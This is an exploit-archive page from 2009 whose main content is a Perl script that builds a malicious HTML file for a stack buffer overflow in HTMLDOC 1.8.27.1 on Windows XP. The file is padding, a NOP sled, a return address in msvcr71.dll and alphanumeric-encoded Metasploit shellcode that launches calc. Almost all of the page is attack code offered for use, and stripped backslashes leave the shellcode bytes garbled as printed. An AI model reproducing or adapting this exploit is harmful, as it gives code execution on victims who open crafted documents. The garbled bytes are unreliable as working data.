[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : htmldoc 1.8.27.1 (.html) Universal Stack Overflow Exploit
# Published : 2009-07-17
# Author : ksa04
# Previous Title : Easy RM to MP3 Converter .m3u file Universal Stack Overflow Exploit
# Next Title : Linux 2.6.30+/SELinux/RHEL5 Test Kernel Local Root Exploit 0day
#!/usr/bin/perl
# htmldoc 1.8.27.1 (.html) Universal Stack Overflow Exploit
# http://en.securitylab.ru/poc/extra/382563.php >> Bufferoverflow POC
# By ksa04
# j-7[at]hotmail[dot]com
# From Kingdom of Saudi Arabia
#[+]--------------------------------------------------------------------------------------[+]#
# program : HTMLDOC
# version : all versions (tested 1.8.27.1 and 1.8.27 and 1.8.24)
# website program : http://www.htmldoc.org
# Download : http://www.easysw.com/htmldoc/software.php
# Tested Under Windows XP SP3
# NOTE : launching from directory >> htmldoc -f lol.pdf exploit.html
# or launching HTMLDOC.exe >> add file >> Document type (wEb page or continuous) >>
# put any thing in Output >> Generate
#[+]--------------------------------------------------------------------------------------[+]#
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44".
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47".
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38".
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48".
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c".
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58".
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44".
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38".
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33".
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47".
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a".
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b".
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53".
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57".
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39".
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46".
"x4ex46x43x36x42x50x5a";
$payload = "<!-- MEDIA SIZE 1x1".
"x41" x 248 .
"x90" x 20 .
"x30x5Cx34x7C". # push esp msvcr71.dll
$shellcode.
"-->n";
open(vuln,'>>exploit.html');
print vuln $payload;
print "[+] Done !! [+]";
close(vuln);
# www.Syue.com [2009-07-17]